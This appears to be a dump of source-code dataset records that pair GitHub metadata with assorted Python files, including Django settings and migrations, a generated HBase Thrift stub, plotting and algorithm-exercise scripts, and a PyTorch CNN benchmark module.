] | permissive | canglangwenyue/code | 896f562f7fd92f48dc664d17630c5166c1c34176 | 669d03bde9cb654767eea24c4a24e0c3e7ca130c | refs/heads/master | 2020-12-25T23:08:28.165573 | 2015-12-07T15:11:31 | 2015-12-07T15:11:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,764 | py | #!/usr/bin/python
from random import shuffle
from libmc import Client
def fnv1a(s):
prime = 0x01000193
h = 0x811c9dc5
for c in s:
h ^= ord(c)
h = (h * prime) & 0xffffffff
return h
class MCStore(object):
def __init__(self, server):
self.server = server
self.mc = ... | [
"ciici1234@hotmail.com"
] | ciici1234@hotmail.com |
b47a0a6d3b910c830f0fe59e2d20588e90200dd8 | f778455274504b5bd652d2ea5e430f0acce09778 | /bjjweb/settings.py | 8a6c0f29f02571a6e46149a7adafe19bcb5c75dd | [] | no_license | coffenbacher/bjjweb | 9e1ba05bb9291aa6aaf3f1152117ced17f23e950 | 60e1d8e036e3973374dd6f42b27a9df43bf20be1 | refs/heads/master | 2021-01-10T13:15:17.608444 | 2013-04-13T08:02:09 | 2013-04-13T08:02:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,561 | py | import os
import sys
PROJECT_PATH = os.path.dirname(os.path.realpath(__file__))
DEFAULT_FILE_STORAGE = os.environ.get('DEFAULT_FILE_STORAGE', 'django.core.files.storage.FileSystemStorage') # 'bjjweb.s3utils.MediaRootS3BotoStorage'
STATICFILES_STORAGE = os.environ.get('STATICFILES_STORAGE', 'django.contrib.staticfiles... | [
"charles.offenbacher@gmail.com"
] | charles.offenbacher@gmail.com |
2c2d2aca1319088aa7c6948056c34477db7deac3 | 2e691585d9915ebf7ec691ce472f01e49c2889c3 | /app/core/tests/test_admin.py | 1ffbe947da89c68196da079710e156ee3c051af3 | [
"MIT"
] | permissive | arajo-hub/recipe-app-api | b49fafbe64b0384d67381b94f2af2f4e9abd1f6d | c443d36511a94003deb6d73e13c1ddecfe0f7d0c | refs/heads/master | 2022-12-11T08:20:14.995151 | 2020-08-23T05:55:47 | 2020-08-23T05:55:47 | 282,588,359 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,311 | py | from django.test import TestCase, Client
from django.contrib.auth import get_user_model
from django.urls import reverse
class AdminSiteTests(TestCase):
def setUp(self):
self.client=Client()
self.admin_user=get_user_model().objects.create_superuser(
email='admin@londonappdev.com',
... | [
"joara9566@naver.com"
] | joara9566@naver.com |
4590ce8da2d0982d3118dbcb6411649d83906cd7 | 2bf43e862b432d44ba545beea4e67e3e086c1a1c | /examples/nlp/language_modeling/megatron_t5_lm_adaptation_finetune.py | 063147d66abb14ceee22a34470b1992a67a10948 | [
"Apache-2.0"
] | permissive | ericharper/NeMo | 719e933f6ffce1b27358bc21efe87cdf144db875 | f1825bc4b724b78c2d6ca392b616e8dc9a8cde04 | refs/heads/master | 2022-10-06T01:45:21.887856 | 2022-09-14T19:09:42 | 2022-09-14T19:09:42 | 259,380,135 | 1 | 0 | Apache-2.0 | 2022-09-20T18:01:57 | 2020-04-27T15:54:20 | Python | UTF-8 | Python | false | false | 6,180 | py | # Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | [
"noreply@github.com"
] | ericharper.noreply@github.com |
bb2775078d4ad0b4cb482fcda899232bb816cec4 | 214d0b18e3bed9ae2ba33e9a3d9d2b447c13dd2e | /3d_visualization.py | 79d849ce2cc1caa844dcfef456f1f097e1ec967e | [] | no_license | janFrancoo/Machine-Learning-Tutorials | 3cc1d47939fac44630b475ce5bd5dc52f84bde1e | 56dab9722606dc27df2f613bfbd277f27122eb88 | refs/heads/master | 2020-06-17T14:16:06.423200 | 2019-08-03T11:44:47 | 2019-08-03T11:44:47 | 195,948,343 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 483 | py | from sklearn import datasets
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
df = datasets.load_iris()
print(df)
plt.figure(2, figsize=(7, 4))
plt.scatter(df.data[:, [0, 1]][:, 0], df.data[:, [0, 1]][:, 1], c=df.target, cmap=plt.cm.coolwarm)
plt.xlabel('Sepal length')
plt.ylabel('Sepal width')... | [
"noreply@github.com"
] | janFrancoo.noreply@github.com |
0f9d8ac19efdf6c7a64c75f9b365ce684f5dfcac | fe00d6c0f27d6b2e75ed87f9ac5dc9c215775535 | /Hbase.py | ddd5d8d4b7acdc00aa1c2cf6c964e052fff7209f | [] | no_license | lqkweb/hbase | b039fd8f3f49133a38be0ab06cbcac2d590d5c02 | 86f30bd2b07c6f7443205792e2a8e9691c807f09 | refs/heads/master | 2020-03-25T13:28:37.893379 | 2018-08-07T06:47:37 | 2018-08-07T06:47:37 | 143,827,572 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | true | 379,070 | py | #
# Autogenerated by Thrift Compiler (0.9.3)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TException, TApplicationException
import logging
from .ttypes import *
from thrift.Thrift import TProcessor
from thrift.transport im... | [
"leiqk@dxy.cn"
] | leiqk@dxy.cn |
c17bdecccb889ee2640d702d95f1f764e891cc7e | 5b826d901ed7b33f1a81303c02c8f009e556c1be | /celery_django_test/polls/urls.py | f0699c52f2116ae7bec68fecfa7a0d7115c9e2fe | [] | no_license | roholazandie/django_redis_celery | 917feecf54d3448c80bdb6e6c7693844ef46d20f | 3976824097b597cc49b8c5872996096a1740c7f1 | refs/heads/master | 2021-01-11T14:13:50.951212 | 2017-02-07T12:08:43 | 2017-02-07T12:08:43 | 81,204,117 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 186 | py | from django.conf.urls import url
from . import views
urlpatterns = [url('^$', views.init_work, name='init_work'),
url('^poll_state$', views.poll_state, name='poll_state')] | [
"hilbert.cantor@gmail.com"
] | hilbert.cantor@gmail.com |
c344874434643dd11b8ac3dae509b0fac6c49f92 | 037a03d4b8b81bc39dc41cb4f3726f8297c8b672 | /0739.py | 94a9cca88ec9b018d0d9cbe8c8d49e9cf22caee3 | [] | no_license | Agchai52/Leetcode1 | ee3433ef6f6c3ddd800204c25a456dc7c3fd0053 | 9535d038bee690b7c7aeca352a4ab32d188684bb | refs/heads/master | 2021-08-22T02:59:45.632548 | 2020-05-21T00:31:45 | 2020-05-21T00:31:45 | 185,273,962 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 669 | py | class Solution(object):
def dailyTemperatures(self, T):
"""
:type T: List[int]
:rtype: List[int]
"""
"""
0, 1, 2, 3, 4, 5, 6, 7
T = [73, 74, 75, 71, 69, 72, 76, 73]
i
... | [
"noreply@github.com"
] | Agchai52.noreply@github.com |
8ebe048507c8a67088debc5e6fa3fd41ab3950a4 | a01bd59019e65e209e7a240cce9af0e71ba14283 | /plot_results.py | 685964f611cf26269b36b7c8f9436b638fa33dfc | [] | no_license | cooperoelrichs/Kaggle_Amazon | 575572c22a7270b2187f223d477c06cd468f76cf | 2ad2c20e5f1a57ec4aaf881e3b2b57c779c9ff72 | refs/heads/master | 2021-01-13T14:19:52.614789 | 2014-11-12T00:08:03 | 2014-11-12T00:08:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 376 | py | import matplotlib.pyplot as plt
from test_results import *
x = c_130723_3
y = scores_130723_3
max = max(y)
max_i = y.index(max)
best_x = x[max_i]
print(max)
print(best_x)
plt.plot(x,y)
plt.plot(best_x, max, 'ro')
plt.ylabel('AUC')
plt.xlabel('C (strength of regularisation)')
plt.title('AUC score by C value (... | [
"c.oelrichs@gmail.com"
] | c.oelrichs@gmail.com |
fe333119b3660fd0957c4fa8c15db858d0ff82ed | 5dcbdd9146aa44eee996965d1a2fe25d1965a612 | /sendit/apps/main/tasks/__init__.py | 0c9da28120cbaacf3d1e26c8d24810c437bcbdab | [
"MIT"
] | permissive | pydicom/sendit | 31f5b5afa27293d523f46bdbd49fcb164d4cc6ea | cc5ef13a37525d73643885e35709d68a35881905 | refs/heads/master | 2021-01-23T16:04:28.227953 | 2019-03-25T15:34:44 | 2019-03-25T15:34:44 | 93,280,329 | 8 | 8 | MIT | 2019-03-25T15:34:46 | 2017-06-04T00:04:38 | CSS | UTF-8 | Python | false | false | 147 | py | from .get import (
get_identifiers,
import_dicomdir
)
from .update import (
replace_identifiers
)
from .finish import upload_storage
| [
"vsochat@stanford.edu"
] | vsochat@stanford.edu |
50a61f160423781925348a849adcc936fcdc1019 | af059741171257dfe7e2a5e719fa389fd007523e | /bypy/pkgs/qt_webengine.py | dd2fedce03db9e934fa168f02ae89b530720bf90 | [] | no_license | 844189873/bypy | df4b13d2a47df5a4d49a346ae0f2097b94a295db | 2bd8403752ed32d56c7be4050a2f622c421b7dcf | refs/heads/master | 2023-02-28T07:50:12.765416 | 2020-10-03T09:09:08 | 2020-10-03T09:09:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,520 | py | #!/usr/bin/env python
# vim:fileencoding=utf-8
# License: GPLv3 Copyright: 2019, Kovid Goyal <kovid at kovidgoyal.net>
import glob
import os
from bypy.constants import PREFIX, islinux, iswindows
from bypy.utils import qt_build, replace_in_file, apply_patch
def main(args):
conf = '-spellchecker'
if islinux:
... | [
"kovid@kovidgoyal.net"
] | kovid@kovidgoyal.net |
121ca0fd4836fe3d662e5049927bf2ab573a0eb9 | 225895b88bbfdf2194ef3df86fd590c2556275f9 | /intellij-community/system/python_stubs/-1247972723/__builtin__.py | 79e9bea908c8c021025ca808b2e5ce5b753a0039 | [
"Apache-2.0"
] | permissive | novokrest/JBIDEA | 228d65681fbdb6b3534f7d18bcc944a5eafe6687 | f43706f22a5d33e6d39c1c72ef4fdeee9e4472f6 | refs/heads/master | 2021-01-19T14:06:48.645122 | 2014-07-29T17:42:31 | 2014-07-29T17:42:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 174,735 | py | # encoding: utf-8
# module __builtin__
# from (built-in)
# by generator 1.135
from __future__ import print_function
"""
Built-in functions, exceptions, and other objects.
Noteworthy: None is the `nil' object; Ellipsis represents `...' in slices.
"""
# imports
from exceptions import (ArithmeticError, AssertionError, A... | [
"novokrest013@gmail.com"
] | novokrest013@gmail.com |
ad936e81ae2c735c6de1067ed4fe6137e46993e6 | 710fe9b8968cfe501af4f35ad84379afd64f4fe3 | /accounts/migrations/0002_migrate_sha1_passwords.py | 3aa786b4ac1f064f8ceb13b1346bbb2d93dfcfc9 | [
"BSD-3-Clause"
] | permissive | django/djangoproject.com | 051e4c77399afad77092050633d1e13a7a574fce | 66a6e87290ee43b4935bc178c737c565570fbc7f | refs/heads/main | 2023-09-03T03:20:54.684816 | 2023-08-28T20:33:43 | 2023-08-28T20:33:43 | 690,903 | 1,807 | 1,075 | BSD-3-Clause | 2023-09-05T03:05:13 | 2010-05-28T11:27:09 | PostScript | UTF-8 | Python | false | false | 720 | py | from django.db import migrations
from ..hashers import PBKDF2WrappedSHA1PasswordHasher
def forwards_func(apps, schema_editor):
User = apps.get_model("auth", "User")
users = User.objects.filter(password__startswith="sha1$")
hasher = PBKDF2WrappedSHA1PasswordHasher()
for user in users:
algorith... | [
"timograham@gmail.com"
] | timograham@gmail.com |
9b433af28782dbff81c68e2d11db38a1ae735008 | fa16d3fc8f7ce65e03c156efe6c0c5c6700a8075 | /toontown/building/DistributedKnockKnockDoor.py | c32c5084d9fa383d656712db60552e0b45dfcf38 | [] | no_license | Grant11/mf0DJnN | eaaa4208bd5a76ff31e5a693e8b63ccac2bcf8fb | 4e81bf56ba45b2b8f774af9db6139b709579dc7b | refs/heads/master | 2020-06-05T15:33:32.421924 | 2016-05-24T17:09:15 | 2016-05-24T17:09:15 | 59,596,037 | 0 | 4 | null | 2016-05-24T17:56:10 | 2016-05-24T17:56:10 | null | UTF-8 | Python | false | false | 6,745 | py | from pandac.PandaModules import *
from direct.interval.IntervalGlobal import *
from direct.distributed.ClockDelta import *
from KnockKnockJokes import *
from toontown.toonbase import ToontownGlobals
from direct.directnotify import DirectNotifyGlobal
from direct.fsm import ClassicFSM
import DistributedAnimatedProp
from ... | [
"nickdogegaming@yahoo.com"
] | nickdogegaming@yahoo.com |
a2f83a60551560512e3538d78150e29ce184b75b | e82b761f53d6a3ae023ee65a219eea38e66946a0 | /All_In_One/addons/DECALmachine/operators/unwrap.py | c233f3d097efc56de72a34efd4e4c1212c0b9a27 | [] | no_license | 2434325680/Learnbgame | f3a050c28df588cbb3b14e1067a58221252e2e40 | 7b796d30dfd22b7706a93e4419ed913d18d29a44 | refs/heads/master | 2023-08-22T23:59:55.711050 | 2021-10-17T07:26:07 | 2021-10-17T07:26:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,415 | py | import bpy
import bmesh
from .. utils.decal import sort_panel_geometry, create_panel_uvs
from .. utils.raycast import shrinkwrap
from .. utils.object import flatten
class Unwrap(bpy.types.Operator):
bl_idname = "machin3.panel_decal_unwrap"
bl_label = "MACHIN3: Panel Decal Unwrap"
bl_description = "Re-Unwr... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
f807980e1cd8c80c134d157b6dfae92aea65479b | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/324/usersdata/297/90648/submittedfiles/divisores.py | 0e2a526b79863fc6b35b470f62d637bd0a884551 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 419 | py | # -*- coding: utf-8 -*-
import math
n=int(input('digite o numero de multiplos desejado: '))
a=int(input('digite o numero desejado a: '))
b=int(input('digite o numero desejado b: '))
cont=0
y=1
z=1
t=a*y
u=b*z
while cont<n :
while t<u :
if cont<n :
print('%d'%t)
cont=cont+1
... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
c1de21d6ce31efa15861f6321d8e8d5d35cff6df | 2163241ca7c5081a03f3a8125634fee265622e7f | /Service/app/models/aci/ept/ept_rapid.py | ff90ac988ecb40b25a5ac94b427cf0640454acf8 | [] | no_license | agccie/ACI-EnhancedEndpointTracker | aa6db245af7832886616c3ad6f499609ce7cb717 | d372cde0b52830d5fcfcba07f33b56116adec7f8 | refs/heads/master | 2022-05-26T19:03:10.721901 | 2022-03-25T20:40:55 | 2022-03-25T20:40:55 | 90,278,632 | 18 | 19 | null | 2022-03-25T20:40:57 | 2017-05-04T15:21:07 | Python | UTF-8 | Python | false | false | 2,507 | py | from ...rest import Rest
from ...rest import api_register
from . common import common_event_attribute
import logging
# module level logging
logger = logging.getLogger(__name__)
@api_register(parent="fabric", path="ept/rapid")
class eptRapid(Rest):
""" historical records of endpoint rapid events within a fabric ""... | [
"agossett@cisco.com"
] | agossett@cisco.com |
e474078071561265bccd4ee8d43b1efb83c5874a | 3fc00c49c6b5a5d3edb4f5a97a86ecc8f59a3035 | /masterlist/__init__.py | 70d6a060e88a358b92b9b4094127847d26d50a70 | [] | no_license | yc-hu/dm_apps | 9e640ef08da8ecefcd7008ee2d4f8f268ec9062e | 483f855b19876fd60c0017a270df74e076aa0d8b | refs/heads/master | 2023-04-07T13:13:55.999058 | 2021-04-12T10:19:21 | 2021-04-12T10:19:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 56 | py | default_app_config = 'masterlist.apps.MasterlistConfig'
| [
"davjfish@gmail.com"
] | davjfish@gmail.com |
df410c3af7bebf30026aea67897bee8fb1b463f6 | e38d634d508578523ac41b3babd0c1e618dec64b | /webScraping/loopThroughJson.py | 97ecb76b0e2bb68418cb543722347b5df9b6da2b | [] | no_license | hebertomoreno/PythonScr | d611e1e683ffc1566d51ae4d13362b94820c9af7 | b77d22519ada971a95ff7f84f205db11fd492bca | refs/heads/master | 2023-03-23T11:50:40.391715 | 2017-05-24T17:01:31 | 2017-05-24T17:01:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 909 | py | import csv,json
from unidecode import unidecode
# Open the Json file
exampleFile = open('son.json')
# Open the csv file to write
outputFile = open('output.csv', 'w', newline='')
outputWriter = csv.writer(outputFile)
# Load the json file into a variable
# json.load is used here so that we can input a file.
# Usually... | [
"nikolasmurdock@gmail.com"
] | nikolasmurdock@gmail.com |
6f39f89acc06e0280faedb523ab83d5219ddffc4 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_135/3971.py | 19b26f1dac31f07401ce2f36b9ec2dab7a81d233 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,296 | py |
def readFile(filename):
final_answers = []
case_no = 1
answers_file = open("magician_answers.text", "w")
with open(filename) as f:
next(f)
ind = 0
answers = []
rows1 = []
rows2 = []
for line in f:
if ind == 0 or ind == 5:
answers.append(line.strip())
ind += 1
continue
row = line.sp... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
0b13fec913bcc82fbea473eb1e93a8d208ad6d35 | 93c22f53bc7ce33a4384c53f02988e6c9ccd86c9 | /re_flags_ignorecase.py | f9e6259fd7662f49810da01b7ee76ac112517333 | [
"Apache-2.0"
] | permissive | Kalpavrikshika/python_modules | a5ce678b58f94d32274846811388d991c281d4d3 | 9f338ab006dd5653fd7f65ff253bc50e0fd61fc6 | refs/heads/master | 2020-03-08T02:23:08.650248 | 2018-06-28T07:38:01 | 2018-06-28T07:38:01 | 127,858,450 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | import re
text = 'This is some text -- with punctuation.'
pattern = r'\bT\w+'
with_case = re.compile(pattern)
without_case = re.compile(pattern, re.IGNORECASE)
print('Text:\n{!r}'.format(text))
print('Pattern:\n {}'.format(pattern))
print('Case-sensitive:')
for match in with_case.findall(text):
print(' {!r}'.fo... | [
"vrikshikakalpa@gmail.com"
] | vrikshikakalpa@gmail.com |
1b085090e2eb53094246aca9b8657b2c7a7f6d20 | a9c3db07c29a46baf4f88afe555564ed0d8dbf2e | /src/2159-two-out-of-three/two-out-of-three.py | 69afe71e1f78b3bc9a422b1759597067ff3e24dd | [] | no_license | HLNN/leetcode | 86d2f5b390be9edfceadd55f68d94c78bc8b7644 | 35010d67341e6038ae4ddffb4beba4a9dba05d2a | refs/heads/master | 2023-03-13T16:44:58.901326 | 2023-03-03T00:01:05 | 2023-03-03T00:01:05 | 165,402,662 | 6 | 6 | null | null | null | null | UTF-8 | Python | false | false | 1,175 | py | # Given three integer arrays nums1, nums2, and nums3, return a distinct array containing all the values that are present in at least two out of the three arrays. You may return the values in any order.
#
# Example 1:
#
#
# Input: nums1 = [1,1,3,2], nums2 = [2,3], nums3 = [3]
# Output: [3,2]
# Explanation: The values ... | [
"Huangln555@gmail.com"
] | Huangln555@gmail.com |
aa974d0d5501a4e6dc93763ad556aba01d89d5d2 | 7f3d066b08fc5446b719ccc050ee839ec001fb6a | /align_training_images.py | 47b445c5a3578f190931f26882d8f6b1d2f37274 | [] | no_license | bellyfat/Face-gender-race-recognition-with-webcam | 5a70438040149cfa4613241663e4f0fe31aefadd | dc8d79a42e4ee38513be8d7f354e2f071150b936 | refs/heads/master | 2022-04-10T09:31:14.844215 | 2020-04-05T14:15:53 | 2020-04-05T14:15:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,580 | py | """
align_training_images detects faces from training images, alignas them
and puts them into directory names "faces_of_training_images".
By H.Iman
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from scipy import misc
import sys
import os
import argpar... | [
"you@example.com"
] | you@example.com |
b93e60b3f5db920ffec18d03b83bf0223de808a3 | 801f367bd19b8f2ab08669fd0a85aad7ace961ac | /adding-right-info/plots.py | 0bea2d388623de3505186a5ee8646a47457a9b6f | [
"MIT"
] | permissive | Wendong-Huo/thesis-bodies | d91b694a6b1b6a911476573ed1ed27eb27fb000d | dceb8a36efd2cefc611f6749a52b56b9d3572f7a | refs/heads/main | 2023-04-17T18:32:38.541537 | 2021-03-12T19:53:23 | 2021-03-12T19:53:23 | 623,471,326 | 1 | 0 | null | 2023-04-04T12:45:48 | 2023-04-04T12:45:47 | null | UTF-8 | Python | false | false | 6,287 | py | import pickle
import numpy as np
import matplotlib.pyplot as plt
import utils
folder = utils.folder
with open(f"{folder}/data-simple.pickle", "rb") as f:
data = pickle.load(f)
print(data)
def process(_data):
_data = np.array(_data)
_two_sigma = 2*np.std(_data)
_mean = np.mean(_data)
print(f"{_me... | [
"sliu1@uvm.edu"
] | sliu1@uvm.edu |
7ba97f20d14bd7397fdb99a5c9c7b6c41402e759 | b8ef3a93cb9fa4d60a785e7f7b5adafc907e6f65 | /ruman/info_consume/user_rank_info/User_sort_interface.py | 2f362dd0e60292c9d09142c531b2a935d8aa3de0 | [] | no_license | lvleilei/screen | 46289b8a80850ac4db8a08b58eb4fc3fd65a0e01 | 13d4f9ac91a5e610f68525ff2a2306372810b681 | refs/heads/master | 2020-03-19T13:05:55.207809 | 2018-06-08T03:37:22 | 2018-06-08T03:37:22 | 136,560,545 | 0 | 0 | null | 2018-06-08T03:17:20 | 2018-06-08T03:17:20 | null | UTF-8 | Python | false | false | 4,349 | py | #-*- coding:utf-8 -*-
from in_filter import in_sort_filter
from Offline_task import add_task
from all_filter import all_sort_filter
from Keyword_task import key_words_search
from time_utils import ts2datetime, datetime2ts
from ruman.parameter import DAY, LOW_INFLUENCE_THRESHOULD
from Makeup_info import make_up_user_inf... | [
"1257819385@qq.com"
] | 1257819385@qq.com |
b7d7268517bb72f70c6aad4f501535f2f68d81ce | 2bcc421ee345b00cf805c543b37d18b5d019dc04 | /adafruit-circuitpython-bundle-6.x-mpy-20201126/examples/rockblock_recv_data.py | 82b501a12ed2266b44dbd825aee370ff467cbef0 | [] | no_license | saewoonam/sc-current-source-titano | 5a1ad46889c1b09c168424901fd71cb4eab5c61b | 1c136aa8b61268d9ac0b5a682b30ece70ab87663 | refs/heads/main | 2023-03-02T22:12:26.685537 | 2021-02-09T03:28:01 | 2021-02-09T03:28:01 | 317,299,900 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,080 | py | # pylint: disable=wrong-import-position
import time
import struct
# CircuitPython / Blinka
import board
uart = board.UART()
uart.baudrate = 19200
# via USB cable
# import serial
# uart = serial.Serial("/dev/ttyUSB0", 19200)
from adafruit_rockblock import RockBlock
rb = RockBlock(uart)
# try a sa... | [
"nams@nist.gov"
] | nams@nist.gov |
b0e8c836109d264b9070d9ce379220340b3b201f | 1b14a8d85d0294c177082e2032b9a7535c31a499 | /05_동적계획/06_문제_금광.py | 7c75a962b38f5ef47854fd9cd821a194f931d3b8 | [] | no_license | Do-code-ing/DongBinNa_Algorithm | c991c1befd665a744c53858c79ee0397b4a64516 | b5980dc20718eed439533230ce25d6766c436202 | refs/heads/main | 2023-08-16T18:02:16.793169 | 2021-08-14T10:37:01 | 2021-08-14T10:37:01 | 360,163,517 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,738 | py | # <문제> 금광: 문제 설명
# n * m 크기의 금광이 있습니다.
# 금광은 1 * 1 크기의 칸으로 나누어져 있으며, 각 칸은 특정한 크기의 금이 들어 있습니다.
# 채굴자는 첫 번째 열부터 출발하여 금을 캐기 시작합니다.
# 맨 처음에는 첫 번째 열의 어느 행에서든 출발할 수 있습니다.
# 이후에 m-1버에 걸쳐서 매번 오른쪽 위, 오른쪽, 오른쪽 아래 3가지 중 하나의 위치로 이동해야 합니다.
# 결과적으로 채굴자가 얻을 수 있는 금의 최대 크기를 출력하는 프로그램을 작성하세요.
# for _ in range(int(input())):
# n, m ... | [
"zxcvbn658@naver.com"
] | zxcvbn658@naver.com |
7a957051d133fb62233f93d42b68f513ed1450d6 | c407f1f724be7e3bb8c7152ba7246c4dd951ec02 | /utils/visualize.py | 1dc1be4e1d110e2acd41ec89e9139076e3c9d4ac | [] | no_license | Jittor/TrafficSignDetection | 11daa5dd69e3d6a8b5859ef34edb9d99c03f12c0 | a16d1c5a79cbc3473325e3391e242d22e10a5959 | refs/heads/master | 2023-03-22T17:30:07.128928 | 2021-03-06T13:05:13 | 2021-03-06T13:05:13 | 334,811,594 | 12 | 8 | null | null | null | null | UTF-8 | Python | false | false | 3,993 | py | import cv2
import matplotlib.pyplot as plt
import numpy as np
import os
from utils.box_ops import calculate_ious
def draw_box(img,box,text,color):
box = [int(x) for x in box]
img = cv2.rectangle(img=img, pt1=tuple(box[0:2]), pt2=tuple(box[2:]), color=color, thickness=1)
img = cv2.putText(img=img, text=t... | [
"1905692338@qq.com"
] | 1905692338@qq.com |
2505d16489bebaf67ada46261f831d0c1d2fa721 | d4611c4886d757eb77da1f8694f72b9659eb8562 | /torpido/ffpbar/progress.py | 38d9fe961b833f2e9f53ed1ad7189cb3d83fcbc5 | [
"Unlicense"
] | permissive | p00pcvm/Torpido | 8312b748652bf0deea975e933bb78d87bf3a1d33 | a646b4d6de7f2e2c96de4c64ce3113f53e3931c2 | refs/heads/master | 2023-05-10T10:18:43.273488 | 2021-06-16T06:17:41 | 2021-06-16T06:17:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,605 | py | """
This file defines the progress bar from tqdm and updates it according to the FFmpeg
logs based on the time and duration in the logs. Command that have dynamic lengths like
multiple trims and concatenation the progress cannot be predicted so the progress bar does not
accurately detects the progress.
"""
from tqdm i... | [
"atulpatare99@gmail.com"
] | atulpatare99@gmail.com |
d21291652fcd8eed70cbee5188d4ae74618d061d | 63559839115cc649d206df569d6b07eb42dc053b | /swipe/_db/migrations/0014_alter_house_sales_department.py | ba316b072313a76955d2f850fb1969361dbab661 | [] | no_license | Chenger1/SwipeRestApi | a076738a7c591227069c744c55006187b919fd09 | d3f74e131a4a3ac33ae8656edb49ee68ed67aa97 | refs/heads/main | 2023-07-11T06:51:58.456708 | 2021-08-13T19:06:12 | 2021-08-13T19:06:12 | 383,131,022 | 0 | 0 | null | 2021-08-12T21:40:04 | 2021-07-05T12:18:36 | Python | UTF-8 | Python | false | false | 491 | py | # Generated by Django 3.2.5 on 2021-07-12 18:57
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('_db', '0013_user_ban'),
]
operations = [
migrations.AlterField(
model_name='house',
... | [
"exs2199@gmail.com"
] | exs2199@gmail.com |
359732ae5caaf68b529a2a96926d1717ff617ca9 | 25870a75349c2a983801cf45757c65cd0f14c626 | /Base_Corporation_App.py | a58ddf01c14e7a0193cd3cfbde6f7188ec403290 | [] | no_license | fuzzygwalchmei/CorporationApp | 5cc1c8eefa4d9bb791f3fc31d544c975bd27de7f | 90c7c257f54c2cc853e38abc5af7fe109e8db4a7 | refs/heads/master | 2020-03-25T07:42:17.750655 | 2019-04-23T03:34:45 | 2019-04-23T03:34:45 | 143,577,102 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 897 | py | from kivy.app import App
from kivy.uix.spinner import Spinner
from kivy.uix.button import Button
from kivy.uix.label import Label
from kivy.uix.screenmanager import Screen
from random import randint
from NPC_generator import *
from kivy.properties import NumericProperty, StringProperty, BooleanProperty,\
ListProper... | [
"marc.falzon@gmail.com"
] | marc.falzon@gmail.com |
73c66f71d79e0ee6cbf2c4a05c513c677cb04a45 | c963f625665e84b63e9fdc7e2ee00e99553580db | /src/recognizer.py | 293b6c1fa328da239d085ee005bf6ee65485ab14 | [] | no_license | sjdeak/CVCracker | e8a853b7daca87c03ad436311c6c7303bb618ac5 | 585f918da9969e17f3ecd922048e1f84e8cc4287 | refs/heads/master | 2020-07-21T21:12:00.511345 | 2019-09-07T13:47:41 | 2019-09-07T13:47:41 | 206,975,070 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,643 | py | import cv2
class Recognizer:
def __init__(self, imname, already_read=False):
"""
:param imname: already_read=False时时待处理图片的文件路径,already_read=True时是已读入的图片
:param already_read: 表示imname的类型
"""
self.raw_im = imname if already_read else cv2.imread(imname)
self.im = None
... | [
"sjdeak@yahoo.com"
] | sjdeak@yahoo.com |
9ca28c04e32b9316d1e6e0f9e337e5a718f59003 | 6891ebea6680374663a8855d7bd89cfc84c582e7 | /superbench/benchmarks/model_benchmarks/pytorch_cnn.py | 77a70ed8de1fd5957e9ff1104bd58eb6ea6962a5 | [
"MIT"
] | permissive | QPC-database/superbenchmark | 431b9df3e14d24fcb20a05f7048f2a417e47e51b | 43620c3f46701d11514901e5c238d7a571ab3ea9 | refs/heads/main | 2023-06-12T13:25:45.908845 | 2021-07-02T16:18:30 | 2021-07-02T16:18:30 | 383,307,454 | 1 | 0 | MIT | 2021-07-06T01:41:14 | 2021-07-06T01:41:13 | null | UTF-8 | Python | false | false | 6,308 | py | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
"""Module of the Pytorch CNN models."""
import time
import torch
from torchvision import models
from superbench.common.utils import logger
from superbench.benchmarks import BenchmarkRegistry, Precision
from superbench.benchmarks.model_benchmar... | [
"noreply@github.com"
] | QPC-database.noreply@github.com |
